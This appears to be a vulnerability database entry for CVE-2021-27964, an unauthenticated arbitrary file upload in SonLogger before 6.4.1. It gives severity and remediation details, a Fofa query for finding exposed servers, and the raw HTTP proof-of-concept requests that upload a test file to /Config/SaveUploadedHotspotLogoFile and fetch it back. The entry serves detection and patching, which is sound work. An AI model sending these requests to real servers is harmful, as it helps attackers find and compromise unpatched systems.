| Title | SonLogger - Arbitrary File Upload |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload malicious files without extension validation, achieving remote code execution and complete server compromise. |
| Remediation | Upgrade to SonLogger version 6.4.1 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.8087 |
| CVE ID | CVE-2021-27964 |
| CWE ID | CWE-434 |
| Fofa Query | body="SonLogger" |
| Tags | cve cve2021 sonlogger intrusive vkev vuln |
SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file.
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Connection: close
Content-Length: 178
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywBBYcU9lVZ
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundarywBBYcU9lVZ
Content-Disposition: form-data; name="file"; filename="rqotl.txt"
Content-Type: image/png
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------WebKitFormBoundarywBBYcU9lVZ--
GET /Assets/temp/hotspot/img/rqotl.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27964.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27964.pcap
N/AN/A